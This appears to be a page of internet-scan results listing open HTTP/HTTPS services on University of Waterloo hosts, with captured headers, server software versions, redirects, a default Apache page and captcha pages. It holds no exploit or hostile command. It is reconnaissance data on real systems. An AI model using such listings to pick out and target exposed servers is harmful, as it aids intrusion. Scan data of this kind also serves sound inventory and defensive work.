<!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/1ef253af618301fc.css" data-precedence="next"/><link rel="stylesheet" href="/_next/static/css/463a61d9ad95bb58.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-5d05866e11118bde.js"/><script src="/_next/static/chunks/4bd1b696-c023c6e3521b1417.js" async=""></script><script src="/_next/static/chunks/255-1a334e32aac762cd.js" async=""></script><script src="/_next/static/chunks/main-app-2ecc3bf42ae2d122.js" async=""></script><script src="/_next/static/chunks/app/layout-61749e99c51e1518.js" async=""></script><script src="/_next/static/chunks/559-b87c0214964217b5.js" async=""></script><script src="/_next/static/chunks/756-6c4383bb0542c357.js" async=""></script><script src="/_next/static/chunks/619-ba102abea3e3d0e4.js" async=""></script><script src="/_next/static/chunks/586-a5e95c44f83d18be.js" async=""></script><script src="/_next/static/chunks/768-7902aa24bce0bd1f.js" async=""></script><script src="/_next/static/chunks/app/page-dcfdeb8c0e8a6d7c.js" async=""></script><meta name="next-size-adjust" content=""/><title>Next.js and Supabase Starter Kit</title><meta name="description" content="The fastest way to build apps with Next.js and Supabase"/><meta property="og:title" content="Next.js and Supabase Starter Kit"/><meta property="og:description" content="The fastest way to build apps with Next.js and Supabase"/><meta property="og:image:type" content="image/png"/><meta property="og:image:width" content="1200"/><meta property="og:image:height" content="600"/><meta property="og:image" content="http://localhost:3000/opengraph-image.png?2e0bc232e210f89d"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:title" content="Next.js and Supabase Starter Kit"/><meta name="twitter:description" content="The fastest way to build apps with Next.js and Supabase"/><meta name="twitter:image:type" content="image/png"/><meta name="twitter:image:width" content="1200"/><meta name="twitter:image:height" content="600"/><meta name="twitter:image" content="http://localhost:3000/twitter-image.png?2e0bc232e210f89d"/><link rel="icon" href="/favicon.ico" type="image/x-icon" sizes="16x16"/><script src="/_next/static/chunks/polyfills-42372ed130431b0a.js" noModule=""></script></head><body class="__className_188709 antialiased"><div hidden=""><!--$--><!--/$--></div><script>((a,b,c,d,e,f,g,h)=>{let i=document.documentElement,j=["light","dark"];function k(b){var c;(Array.isArray(a)?a:[a]).forEach(a=>{let c="class"===a,d=c&&f?e.map(a=>f[a]||a):e;c?(i.classList.remove(...d),i.classList.add(f&&f[b]?f[b]:b)):i.setAttribute(a,b)}),c=b,h&&j.includes(c)&&(i.style.colorScheme=c)}if(d)k(d);else try{let a=localStorage.getItem(b)||c,d=g&&"system"===a?window.matchMedia("(prefers-color-scheme: dark)").matches?"dark":"light":a;k(d)}catch(a){}})("class","theme","system",null,["light","dark"],null,true,true)</script><main class="min-h-screen flex flex-col items-center"><div class="flex-1 w-full flex flex-col"><nav class="w-full flex border-b border-b-foreground/10 h-16 sticky"><div class="w-full flex justify-between items-center p-8 px-16 text-sm"><div class="flex gap-5 items-center font-semibold"><a href="/">deliberarts (wip)</a></div><div class="flex gap-5 items-center"><div class="flex gap-2"><a class="inline-flex items-center justify-center gap-2 whitespace-nowrap font-medium transition-colors focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring disabled:pointer-events-none disabled:opacity-50 [&_svg]:pointer-events-none [&_svg]:size-4 [&_svg]:shrink-0 border border-input bg-background shadow-sm hover:bg-accent hover:text-accent-foreground h-8 rounded-md px-3 text-xs" href="/auth/login">Sign in</a><a class="inline-flex items-center justify-center gap-2 whitespace-nowrap font-medium transition-colors focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring disabled:poi
Open service 129.97.7.167:443 · ickok4o0go40kcowsocsow0c.pandora.cs.uwaterloo.ca
2026-01-10 21:04
HTTP/1.1 503 Service Unavailable Alt-Svc: h3=":443"; ma=2592000 Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Sat, 10 Jan 2026 21:05:52 GMT Content-Length: 20 Connection: close no available server
Open service 129.97.128.150:443 · ist.uwaterloo.ca
2026-01-10 20:48
HTTP/1.1 301 Moved Permanently Date: Sat, 10 Jan 2026 20:48:16 GMT Server: Apache/2.4.37 (Red Hat Enterprise Linux) OpenSSL/1.1.1k Location: https://uwaterloo.ca/ist/ Content-Length: 233 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://uwaterloo.ca/ist/">here</a>.</p> </body></html>
Open service 129.97.128.150:80 · ist.uwaterloo.ca
2026-01-10 20:48
HTTP/1.1 301 Moved Permanently Date: Sat, 10 Jan 2026 20:48:54 GMT Server: Apache/2.4.37 (Red Hat Enterprise Linux) OpenSSL/1.1.1k Location: https://ist.uwaterloo.ca/ Content-Length: 233 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://ist.uwaterloo.ca/">here</a>.</p> </body></html>
Open service 129.97.222.28:80 · gosling.uwaterloo.ca
2026-01-10 18:17
HTTP/1.1 302 Found Date: Sat, 10 Jan 2026 18:18:15 GMT Server: Apache/2.4.52 (Ubuntu) Location: https://gosling.uwaterloo.ca/ Content-Length: 299 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 302 Found <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://gosling.uwaterloo.ca/">here</a>.</p> <hr> <address>Apache/2.4.52 (Ubuntu) Server at gosling.uwaterloo.ca Port 80</address> </body></html>
Open service 129.97.222.28:443 · gosling.uwaterloo.ca
2026-01-10 18:17
HTTP/1.1 200 OK
Date: Sat, 10 Jan 2026 18:17:34 GMT
Server: Apache/2.4.52 (Ubuntu)
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-ancestors 'none';
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Last-Modified: Tue, 05 Jul 2022 16:59:01 GMT
ETag: "29af-5e311c4ec6084"
Accept-Ranges: bytes
Content-Length: 10671
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Page title: Apache2 Ubuntu Default Page: It works
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<!--
Modified from the Debian original for Ubuntu
Last updated: 2022-03-22
See: https://launchpad.net/bugs/1966004
-->
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>Apache2 Ubuntu Default Page: It works</title>
<style type="text/css" media="screen">
* {
margin: 0px 0px 0px 0px;
padding: 0px 0px 0px 0px;
}
body, html {
padding: 3px 3px 3px 3px;
background-color: #D8DBE2;
font-family: Ubuntu, Verdana, sans-serif;
font-size: 11pt;
text-align: center;
}
div.main_page {
position: relative;
display: table;
width: 800px;
margin-bottom: 3px;
margin-left: auto;
margin-right: auto;
padding: 0px 0px 0px 0px;
border-width: 2px;
border-color: #212738;
border-style: solid;
background-color: #FFFFFF;
text-align: center;
}
div.page_header {
height: 180px;
width: 100%;
background-color: #F5F6F7;
}
div.page_header span {
margin: 15px 0px 0px 50px;
font-size: 180%;
font-weight: bold;
}
div.page_header img {
margin: 3px 0px 0px 40px;
border: 0px 0px 0px;
}
div.banner {
padding: 9px 6px 9px 6px;
background-color: #E9510E;
color: #FFFFFF;
font-weight: bold;
font-size: 112%;
text-align: center;
position: absolute;
left: 40%;
bottom: 30px;
width: 20%;
}
div.table_of_contents {
clear: left;
min-width: 200px;
margin: 3px 3px 3px 3px;
background-color: #FFFFFF;
text-align: left;
}
div.table_of_contents_item {
clear: left;
width: 100%;
margin: 4px 0px 0px 0px;
background-color: #FFFFFF;
color: #000000;
text-align: left;
}
div.table_of_contents_item a {
margin: 6px 0px 0px 6px;
}
div.content_section {
margin: 3px 3px 3px 3px;
background-color: #FFFFFF;
text-align: left;
}
div.content_section_text {
padding: 4px 8px 4px 8px;
color: #000000;
font-size: 100%;
}
div.content_section_text pre {
margin: 8px 0px 8px 0px;
padding: 8px 8px 8px 8px;
border-width: 1px;
border-style: dotted;
border-color: #000000;
background-color: #F5F6F7;
font-style: italic;
}
div.content_section_text p {
margin-bottom: 6px;
}
div.content_section_text ul, div.content_section_text li {
padding: 4px 8px 4px 16px;
}
div.section_header {
padding: 3px 6px 3px 6px;
background-color: #8E9CB2;
color: #FFFFFF;
font-weight: bold;
font-size: 112%;
text-align: center;
}
div.section_header_grey {
background-color: #9F9386;
}
.floating_element {
position: relative;
float: left;
}
div.table_of_contents_item a,
div.content_section_text a {
text-decoration: none;
font-weight: bold;
}
div.table_of_contents_item a:link,
div.table_of_contents_item a:visited,
div.table_of_contents_item a:active {
color: #000000;
}
div.table_of_contents_item a:hover {
background-color: #000000;
color: #FFFFFF;
}
div.content_section_text a:link,
div.content_section_text a:visited,
div.content_section_text a:active {
background-color: #DCDFE6;
color: #000000;
}
div.content_section_text a:hover {
background-color: #000000;
color: #DCDFE6;
}
div.validator {
}
</style>
</head>
<body>
<div class="main_page">
<div class="page_header floating_element">
<img src="icons/ubuntu-logo.png" alt="Ubuntu Logo"
style="width:184px;height:146px;" class="floating_element" />
<div>
<span style="margin-top: 1.5em;" class="floating_element">
Apache2 Default Page
</span>
</div>
<div class="banner">
<div id="about"></div>
It works!
</div>
</div>
<div class="content_section floating_element">
Open service 129.97.222.20:443 · cantus.uwaterloo.ca
2026-01-10 16:29
HTTP/1.1 301 Moved Permanently Date: Sat, 10 Jan 2026 16:26:19 GMT Server: Apache Strict-Transport-Security: max-age=31536000; includeSubDomains Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' data:; font-src 'self'; connect-src 'self'; frame-ancestors 'none'; Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Referrer-Policy: strict-origin-when-cross-origin X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Location: https://cantusdatabase.org/ Content-Length: 235 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 301 Moved Permanently <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="https://cantusdatabase.org/">here</a>.</p> </body></html>
Open service 129.97.222.20:80 · cantus.uwaterloo.ca
2026-01-10 16:29
HTTP/1.1 302 Found Date: Sat, 10 Jan 2026 16:26:59 GMT Server: Apache Location: https://cantus.uwaterloo.ca/ Content-Length: 212 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 302 Found <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://cantus.uwaterloo.ca/">here</a>.</p> </body></html>
Open service 129.97.222.20:443 · doingcriticalracetheory.uwaterloo.ca
2026-01-10 16:29
HTTP/1.1 200 OK Date: Sat, 10 Jan 2026 16:25:56 GMT Server: Apache Link: <https://doingcriticalracetheory.uwaterloo.ca/wp-json/>; rel="https://api.w.org/" Strict-Transport-Security: max-age=31536000; includeSubDomains Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Referrer-Policy: strict-origin-when-cross-origin X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Vary: Accept-Encoding Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' *.googleapis.com *.gstatic.com *.cloudflare.com *.wordpress.com; style-src 'self' 'unsafe-inline' *.googleapis.com *.gstatic.com *.cloudflare.com *.wordpress.com; img-src 'self' data: *.gravatar.com *.googleapis.com *.gstatic.com *.cloudflare.com *.wordpress.com; font-src 'self' *.googleapis.com *.gstatic.com *.cloudflare.com; connect-src 'self' *.googleapis.com *.gstatic.com *.cloudflare.com *.wordpress.com *.gravatar.com; frame-src 'self' *.youtube.com *.vimeo.com; object-src 'none'; base-uri 'self'; form-action 'self'; Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
Open service 129.97.222.20:80 · doingcriticalracetheory.uwaterloo.ca
2026-01-10 16:29
HTTP/1.1 302 Found Date: Sat, 10 Jan 2026 16:26:33 GMT Server: Apache Location: https://doingcriticalracetheory.uwaterloo.ca/ Content-Length: 229 Connection: close Content-Type: text/html; charset=iso-8859-1 Page title: 302 Found <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://doingcriticalracetheory.uwaterloo.ca/">here</a>.</p> </body></html>
Open service 18.173.187.3:80 · status.uwaterloo.ca
2026-01-10 10:22
HTTP/1.1 301 Moved Permanently Server: CloudFront Date: Sat, 10 Jan 2026 10:22:32 GMT Content-Type: text/html Content-Length: 167 Connection: close Location: https://status.uwaterloo.ca/ X-Cache: Redirect from cloudfront Via: 1.1 3a5ebe10b769db9444c2df2c2e8a76a8.cloudfront.net (CloudFront) X-Amz-Cf-Pop: MUC50-P4 X-Amz-Cf-Id: 0xCiF2vZG7WsLmrt6Js5IzUWAX5BO-Ib8eD4rMP6qRfix_WoHmfrTg== Page title: 301 Moved Permanently <html> <head><title>301 Moved Permanently</title></head> <body> <center><h1>301 Moved Permanently</h1></center> <hr><center>CloudFront</center> </body> </html>
Open service 18.173.187.67:443 · status.uwaterloo.ca
2026-01-10 10:22
HTTP/1.1 405 Not Allowed
Server: CloudFront
Date: Sat, 10 Jan 2026 10:22:32 GMT
Content-Length: 2515
Connection: close
x-amzn-waf-action: captcha
Cache-Control: no-store, max-age=0
Content-Type: text/html; charset=UTF-8
Access-Control-Allow-Origin: *
Access-Control-Max-Age: 86400
Access-Control-Allow-Methods: OPTIONS,GET,POST
Access-Control-Expose-Headers: x-amzn-waf-action
X-Cache: Error from cloudfront
Via: 1.1 b25ea630a0bc5820a6901f77047718fe.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: MUC50-P4
X-Amz-Cf-Id: 2Lgxz9BpcE72JXEbqoseJ47068021yv0e7UefQfs4DxzaRvr_grYXQ==
Page title: Human Verification
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Human Verification</title>
<style>
body {
font-family: "Arial";
}
</style>
<script type="text/javascript">
window.awsWafCookieDomainList = [];
window.gokuProps = {
"key":"AQIDAHjcYu/GjX+QlghicBgQ/7bFaQZ+m5FKCMDnO+vTbNg96AFJDgH7Hva0PDWzDG+o+lxtAAAAfjB8BgkqhkiG9w0BBwagbzBtAgEAMGgGCSqGSIb3DQEHATAeBglghkgBZQMEAS4wEQQMtICMwjzAEGqc06Z9AgEQgDv8HfE614lzKs0bgPDL5sQqSLXwmKiI8bI6UrZbgYkrNzYjpk/WburdFTXOKUcQtMzhflG3kQne4iP2Lg==",
"iv":"grDayQGSMwAAAaGQ",
"context":"9jPcCCC95fkarul/DwVzpwZ0kzkx0ONc/Jt17ghG9XFwXootUYyVxgyGIZ3CW+ONzoV/s8HlYLTmK12J8lE19F2UKhrUkowFsfzh8xytlo4mrw3qDovQknzPagH9ULn8CEHaLdZ4VZd2Q1rgP2pU4Gyx9LwkJwXzkyM8YwrfP1c4uG+hEB9Af2zUP/smZFUljVOaCDEh4oQjXjv/Sp2ROykKBZsPRNf/uabJY4ppwRTVrK+Voh5RhFS4O7aZYE9aH0knEroXv31RbOk6QVi1pGmIkiZbnKkCN6RMCW51ZU98DJHYd6Pyf4v/Je59IC+FjYXFQkSqRBu5nsmsz663+QHMt8XPfNOjqYF4XXVypWuAGZdessbXJIHRupsXcMp/3YZN5GiX8ArdagtWPhEMZJFj9sZOTMt4IL32JLU5Wubp6o6E062rPKm7SZaPLADe00H88UGEl49RJk7+OOH8Au2a2NOClw1DXwKEyY9EQvbQmTOXhKPcAhBWusbYilL26h33eRaLUlitGp9P2wDt9jSPMfqON+cKzbTy0ysA9vMF8oduHmBz7QiZbYZWRgm48ggpmd8SpJ0dQ0pm5vA00z3nrk3aK6wK6Wq6LI/op4xLvqHUnGopiqh5FCs9SRsuLYAPVe/aiyyZIS7F7N+UCFCtjUif510BDW503B1jCcHaXt1uVYfo9bvtcuXyTsVkNMftpelAAqmSweuKYDHAqGzUmr6G9J+8HfiMYuOcdS8pVZel6uvcaaBo5zYjfY/dp/qeC7Mc+XhNnfbeWg=="
};
</script>
<script src="https://6607760723ac.acd4048d.eu-west-1.token.awswaf.com/6607760723ac/44995c4e9dd1/259bd571736c/challenge.js"></script>
<script src="https://6607760723ac.acd4048d.eu-west-1.captcha.awswaf.com/6607760723ac/44995c4e9dd1/259bd571736c/captcha.js"></script>
</head>
<body>
<div id="captcha-container"></div>
<script type="text/javascript">
AwsWafIntegration.saveReferrer();
window.addEventListener("load", function() {
const container = document.querySelector("#captcha-container");
CaptchaScript.renderCaptcha(container, async (voucher) => {
await ChallengeScript.submitCaptcha(voucher);
window.location.reload(true);
}
);
});
</script>
<noscript>
<h1>JavaScript is disabled</h1>
In order to continue, you need to verify that you're not a robot by solving a CAPTCHA puzzle.
The CAPTCHA puzzle requires JavaScript. Enable JavaScript and then reload the page.
</noscript>
</body>
</html>
Open service 18.173.187.33:443 · status.uwaterloo.ca
2026-01-10 10:22
HTTP/1.1 405 Not Allowed
Server: CloudFront
Date: Sat, 10 Jan 2026 10:22:32 GMT
Content-Length: 2515
Connection: close
x-amzn-waf-action: captcha
Cache-Control: no-store, max-age=0
Content-Type: text/html; charset=UTF-8
Access-Control-Allow-Origin: *
Access-Control-Max-Age: 86400
Access-Control-Allow-Methods: OPTIONS,GET,POST
Access-Control-Expose-Headers: x-amzn-waf-action
X-Cache: Error from cloudfront
Via: 1.1 67b46acac5b2604c39c0417497d3d218.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: MUC50-P4
X-Amz-Cf-Id: 27Zt0rREstQteLPadPfWSTZEnwOmzcRPy-Oc8BW4s6xvXzRzbm_Wjg==
Page title: Human Verification
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Human Verification</title>
<style>
body {
font-family: "Arial";
}
</style>
<script type="text/javascript">
window.awsWafCookieDomainList = [];
window.gokuProps = {
"key":"AQIDAHjcYu/GjX+QlghicBgQ/7bFaQZ+m5FKCMDnO+vTbNg96AFJDgH7Hva0PDWzDG+o+lxtAAAAfjB8BgkqhkiG9w0BBwagbzBtAgEAMGgGCSqGSIb3DQEHATAeBglghkgBZQMEAS4wEQQMtICMwjzAEGqc06Z9AgEQgDv8HfE614lzKs0bgPDL5sQqSLXwmKiI8bI6UrZbgYkrNzYjpk/WburdFTXOKUcQtMzhflG3kQne4iP2Lg==",
"iv":"grDa0QGRBAAAAdnf",
"context":"Q41UazinNFdwQ2sxm4uAV1C5xKhxQhr5MC3w53mhwvKCr0lzm0HXtN4NyRdXmLicblOQ77/j3ofTOQkUWDoRcQknoYlZtnoWQQNAcPmWwgSPnlxtiaPaEhVB9d+iAWhom9tj0uIRGPz9DR/aP6h87XSqaSbTqsNHbpeX34NO673/0cOJDnmAP5AoJMf0oCS3sho2ZEzMS7Awll4FjAue/ZnISDy/gynEOvlJffBUcypwn8RTSFSM2Q/lLzs0IsyxILecWUcf7t9VIxZr+qluNj9xbZrZ9b0OuL+qnlzaTP1Z511KBHOb0/Hwl/4jfAx98uv2esVyMr4rA/Knln36iUUE5++W5frfU9FewnMEyAKL0woq/LpXE7Tf8VZKqnvNn4740uaoLpjwz7oV92kh+wN15eBnfPnh0c9Sr3Cy52vpmSNqEuR26eA+H7Q+4fVylETV9bomgSvztkyg6WVUzhGevR3V2kYiN+UeGTc3YSeUnOmilM1oeXwc9EkJeCzX4JoLmUgOhTXCEwzSVf40htaXNUZCxk57HdrYRNpMlbJqI1aX2yOx4BUiBj5eFMlYMAGw2m5ydzjYo5bbJSKl6FDJSEN/Wv1p3jLpsu+N2QIaFmqdZHi26yBlSWX/VOupwP9JdL5mO+e3Z/uQZVUiRP9U9S7gJFJGcQXICPY+xqXPSVBbdtyw9djBIb6rDmrWUOgtrOPQe2zLwUuposqOovfiHcKY0FQr9yjGBEPj/7wnuaRuJsJ4ER64ZnvSWDh+h1YNKujEkOZcxCj+Uw=="
};
</script>
<script src="https://6607760723ac.acd4048d.eu-west-1.token.awswaf.com/6607760723ac/44995c4e9dd1/259bd571736c/challenge.js"></script>
<script src="https://6607760723ac.acd4048d.eu-west-1.captcha.awswaf.com/6607760723ac/44995c4e9dd1/259bd571736c/captcha.js"></script>
</head>
<body>
<div id="captcha-container"></div>
<script type="text/javascript">
AwsWafIntegration.saveReferrer();
window.addEventListener("load", function() {
const container = document.querySelector("#captcha-container");
CaptchaScript.renderCaptcha(container, async (voucher) => {
await ChallengeScript.submitCaptcha(voucher);
window.location.reload(true);
}
);
});
</script>
<noscript>
<h1>JavaScript is disabled</h1>
In order to continue, you need to verify that you're not a robot by solving a CAPTCHA puzzle.
The CAPTCHA puzzle requires JavaScript. Enable JavaScript and then reload the page.
</noscript>
</body>
</html>
Open service 18.173.187.33:80 · status.uwaterloo.ca
2026-01-10 10:22
HTTP/1.1 301 Moved Permanently Server: CloudFront Date: Sat, 10 Jan 2026 10:22:32 GMT Content-Type: text/html Content-Length: 167 Connection: close Location: https://status.uwaterloo.ca/ X-Cache: Redirect from cloudfront Via: 1.1 0a93e5f50864322b5cd49038d9c83154.cloudfront.net (CloudFront) X-Amz-Cf-Pop: MUC50-P4 X-Amz-Cf-Id: Lh1rB3zdZMjA9Ird_g5mLnlLdZ5Qo5ZcAdwgG8sFLCOxAsjxXQvqgA== Page title: 301 Moved Permanently <html> <head><title>301 Moved Permanently</title></head> <body> <center><h1>301 Moved Permanently</h1></center> <hr><center>CloudFront</center> </body> </html>
Open service 18.173.187.98:80 · status.uwaterloo.ca
2026-01-10 10:22
HTTP/1.1 301 Moved Permanently Server: CloudFront Date: Sat, 10 Jan 2026 10:22:31 GMT Content-Type: text/html Content-Length: 167 Connection: close Location: https://status.uwaterloo.ca/ X-Cache: Redirect from cloudfront Via: 1.1 0c9e9d172625986c065b7bb9836e5d08.cloudfront.net (CloudFront) X-Amz-Cf-Pop: MUC50-P4 X-Amz-Cf-Id: slnUuiDuorUuPFZ5lRpIOlkogEWpS11UnBcpMpfngmUui6oAtOMZBw== Page title: 301 Moved Permanently <html> <head><title>301 Moved Permanently</title></head> <body> <center><h1>301 Moved Permanently</h1></center> <hr><center>CloudFront</center> </body> </html>
Open service 18.173.187.67:80 · status.uwaterloo.ca
2026-01-10 10:22
HTTP/1.1 301 Moved Permanently Server: CloudFront Date: Sat, 10 Jan 2026 10:22:31 GMT Content-Type: text/html Content-Length: 167 Connection: close Location: https://status.uwaterloo.ca/ X-Cache: Redirect from cloudfront Via: 1.1 ed0321bab00e6823808eaacb7b137e08.cloudfront.net (CloudFront) X-Amz-Cf-Pop: MUC50-P4 X-Amz-Cf-Id: iRblZWRGtQ7mgnbUraPgGxEvpROrzfr9TrN6_ljhy6qFD6HLNrn0Lw== Page title: 301 Moved Permanently <html> <head><title>301 Moved Permanently</title></head> <body> <center><h1>301 Moved Permanently</h1></center> <hr><center>CloudFront</center> </body> </html>
Open service 18.173.187.98:443 · status.uwaterloo.ca
2026-01-10 10:22
HTTP/1.1 405 Not Allowed
Server: CloudFront
Date: Sat, 10 Jan 2026 10:22:31 GMT
Content-Length: 2515
Connection: close
x-amzn-waf-action: captcha
Cache-Control: no-store, max-age=0
Content-Type: text/html; charset=UTF-8
Access-Control-Allow-Origin: *
Access-Control-Max-Age: 86400
Access-Control-Allow-Methods: OPTIONS,GET,POST
Access-Control-Expose-Headers: x-amzn-waf-action
X-Cache: Error from cloudfront
Via: 1.1 e962a4214db0639b31056a5ae4bf22f4.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: MUC50-P4
X-Amz-Cf-Id: 1YWIR9ngl77wTEkZb3wxnQN3c16w7Hs-u3jhc-vxwimzko8pAFjk0w==
Page title: Human Verification
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Human Verification</title>
<style>
body {
font-family: "Arial";
}
</style>
<script type="text/javascript">
window.awsWafCookieDomainList = [];
window.gokuProps = {
"key":"AQIDAHjcYu/GjX+QlghicBgQ/7bFaQZ+m5FKCMDnO+vTbNg96AFJDgH7Hva0PDWzDG+o+lxtAAAAfjB8BgkqhkiG9w0BBwagbzBtAgEAMGgGCSqGSIb3DQEHATAeBglghkgBZQMEAS4wEQQMtICMwjzAEGqc06Z9AgEQgDv8HfE614lzKs0bgPDL5sQqSLXwmKiI8bI6UrZbgYkrNzYjpk/WburdFTXOKUcQtMzhflG3kQne4iP2Lg==",
"iv":"grDa5wGTdgAAAcRb",
"context":"qMWmagcjJYeeoKrff8Du0mhwseuTAQG5rk/xLUjsf5HJuVLllyvJwx4bsez9yJibtuBMm1UeEahYtWGzWX8ksp+sYHng5V3TbthEew91HsC32IijaTxhSHPpQdxQ1U8IWJ0dMoHk0K4LdZjh2ou+QHCbUAo60nwMecxibYHcclx+8HUgaRnQmuW9Jk+U4w5OxjKNTbwHb+TuG4FOyjo2ZL2rztAre5Fr3uvCVyuML08hyOpOsxA3OQdwB7hfQlaHRFJTps6nSwe3DWfAvE1YjRZEo09lUUuQCOKGY4g2jx+Jcs0r+u0z9vevsXaK7iWzDFeovs6YgqR2w3qRz0R18p3kQ68KVBBU2cZ7sy2CEgSIfO4llQ2uWg+hXJdlkDzDrxz4xU+mn322KltkfcVDr/bP1NIj976fKWrr7YW7k2oqhgB/ETd77NjdDmEkQog3lggGA/+GBOEuoAKAZn+Y9bldD1uMpuByOEEipHjy39Cb6RDye/dw8ZMmEoUN4cij51vK3aZcscVIf7cNTCTNw+ZoUpG5a7a7I7ez4OCCCS0Uk5RJRmI1OqcJIRWn/SEbrk5/xPQWZRNJMysR7doiRpjnWkoc+vnheaDXOp0Zk43Er7uEvSUJffq6A4AspkqiVH+7+UB3Tvy6bs7hKzql+yKGcqm8O1pn3LZuIGDflJaMyaTy+LIuaTZpkuAGFJ59byRnD8e2Wv0cxQVc76s7rNzioo8cnRdhdM/tzQKJkPOZdea9dqydCgYZtl9Y5cBoa6RBOwm7zuORvHSAtA=="
};
</script>
<script src="https://6607760723ac.acd4048d.eu-west-1.token.awswaf.com/6607760723ac/44995c4e9dd1/259bd571736c/challenge.js"></script>
<script src="https://6607760723ac.acd4048d.eu-west-1.captcha.awswaf.com/6607760723ac/44995c4e9dd1/259bd571736c/captcha.js"></script>
</head>
<body>
<div id="captcha-container"></div>
<script type="text/javascript">
AwsWafIntegration.saveReferrer();
window.addEventListener("load", function() {
const container = document.querySelector("#captcha-container");
CaptchaScript.renderCaptcha(container, async (voucher) => {
await ChallengeScript.submitCaptcha(voucher);
window.location.reload(true);
}
);
});
</script>
<noscript>
<h1>JavaScript is disabled</h1>
In order to continue, you need to verify that you're not a robot by solving a CAPTCHA puzzle.
The CAPTCHA puzzle requires JavaScript. Enable JavaScript and then reload the page.
</noscript>
</body>
</html>
Open service 18.173.187.3:443 · status.uwaterloo.ca
2026-01-10 10:22
HTTP/1.1 405 Not Allowed
Server: CloudFront
Date: Sat, 10 Jan 2026 10:22:31 GMT
Content-Length: 2515
Connection: close
x-amzn-waf-action: captcha
Cache-Control: no-store, max-age=0
Content-Type: text/html; charset=UTF-8
Access-Control-Allow-Origin: *
Access-Control-Max-Age: 86400
Access-Control-Allow-Methods: OPTIONS,GET,POST
Access-Control-Expose-Headers: x-amzn-waf-action
X-Cache: Error from cloudfront
Via: 1.1 7949f2957c23173b6f2b16db26ab42f6.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: MUC50-P4
X-Amz-Cf-Id: QxqDCMypGqayDOfmxjJuj87kvnpiQMHDY08Y3VuEahfy7igbde7Gfg==
Page title: Human Verification
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Human Verification</title>
<style>
body {
font-family: "Arial";
}
</style>
<script type="text/javascript">
window.awsWafCookieDomainList = [];
window.gokuProps = {
"key":"AQIDAHjcYu/GjX+QlghicBgQ/7bFaQZ+m5FKCMDnO+vTbNg96AFJDgH7Hva0PDWzDG+o+lxtAAAAfjB8BgkqhkiG9w0BBwagbzBtAgEAMGgGCSqGSIb3DQEHATAeBglghkgBZQMEAS4wEQQMtICMwjzAEGqc06Z9AgEQgDv8HfE614lzKs0bgPDL5sQqSLXwmKiI8bI6UrZbgYkrNzYjpk/WburdFTXOKUcQtMzhflG3kQne4iP2Lg==",
"iv":"grDa5AGULQAAAbBs",
